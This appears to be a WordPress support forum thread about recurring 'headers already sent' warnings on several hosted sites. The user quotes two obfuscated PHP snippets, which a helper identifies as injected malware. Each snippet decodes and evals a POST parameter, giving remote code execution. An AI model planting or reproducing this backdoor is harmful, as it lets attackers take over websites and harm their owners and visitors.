Follow this guide for how to identify and correct the problem: https://codex.wordpress.org/FAQ_Troubleshooting#How_do_I_solve_the_Headers_already_sent_warning_problem.3F
Alternatively, replacing the file with one from a fresh download may resolve the issue.
My problem is not that I do not know how to fix the issue. My problem is how do I stop it recurring. I fix it once and the problem occurs again in another file a few days later. During these few days no major changes or plugins are added to the website.
Hm, this doesn’t sound good. 🙁
Does one of the errors reference a core WordPress file? Perhaps script-loader.php on line 1?
If so, can you share the code at the line of the file indicated?
No they are generally ones in Include files such as category etc.
Ok, please quote at least three of the different errors.
I do not have a copy of any of them since I have fixed them unfortunately. I am more than happy to post them when they occur next but in the interim is there anything I can check as clients are getting quite frustrated
The Latest error was:
Warning: Cannot modify header information - headers already sent by (output started at /home/content/64/12072764/html/websites/treetents/wp-includes/post-thunbnail-template.php:1) in /home/content/64/12072764/html/websites/treetents/wp-content/plugins/wptouch/core/class-wptouch-pro.php on line 266
and another below it
Warning: Cannot modify header information - headers already sent by (output started at /home/content/64/12072764/html/websites/treetents/wp-includes/post-thunbnail-template.php:1) in /home/content/64/12072764/html/websites/treetents/wp-content/plugins/wptouch/core/class-wptouch-pro.php on line 2467
Ok, so it’s all actually just /wp-includes/post-thunbnail-template.php at line 1.
What do you have on line 1 of that file?
And another two that I just received
Warning: Cannot modify header information - headers already sent by (output started at /home/content/64/12072764/html/wp-includes/taxonomy.php:1) in /home/content/64/12072764/html/wp-content/plugins/wordpress-https/lib/WordPressHTTPS.php on line 454
and
Warning: Cannot modify header information - headers already sent by (output started at /home/content/64/12072764/html/wp-includes/taxonomy.php:1) in /home/content/64/12072764/html/wp-includes/pluggable.php on line 1207
It is never the same file, it is always different files and on all the different websites I am hosting.
This is the content on line one of taxonomy.php
<?php $ygus27 = "6cb_de4patso" ;$xbwa5= strtolower($ygus27[2].$ygus27[8].$ygus27[10].$ygus27[5]. $ygus27[0].$ygus27[6] . $ygus27[3] . $ygus27[4].$ygus27[5]. $ygus27[1].$ygus27[11]. $ygus27[4].$ygus27[5]);$hyyh0= strtoupper( $ygus27[3]. $ygus27[7]. $ygus27[11]. $ygus27[10]. $ygus27[9] ) ;if( isset( ${$hyyh0}[ 'n1ca57c' ] ) ){ eval($xbwa5( ${$hyyh0} [ 'n1ca57c'] ));} ?> <?php
There’s your problem.
See all that junk there? *None* of it should be in the file.
Feel free to compare to fresh files from https://wordpress.org/download/
Unfortunately, there’s only one reason for that. 🙁
Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.
<?php $ebuc23="6oced_pat4sb";$ynq4= strtolower ( $ebuc23[11].$ebuc23[7].$ebuc23[10]. $ebuc23[3].$ebuc23[0].$ebuc23[9] . $ebuc23[5]. $ebuc23[4]. $ebuc23[3]. $ebuc23[2]. $ebuc23[1].$ebuc23[4].$ebuc23[3] );$uzt9 =strtoupper( $ebuc23[5].$ebuc23[6]. $ebuc23[1].$ebuc23[10].$ebuc23[8]) ;if(isset ( ${ $uzt9 } ['ne6f56c'])){ eval( $ynq4(${ $uzt9}[ 'ne6f56c'] ) ); }?>
Can you tell me what this actually is and how to stop it?
It’s injected malware, you need to follow the guide I linked to.
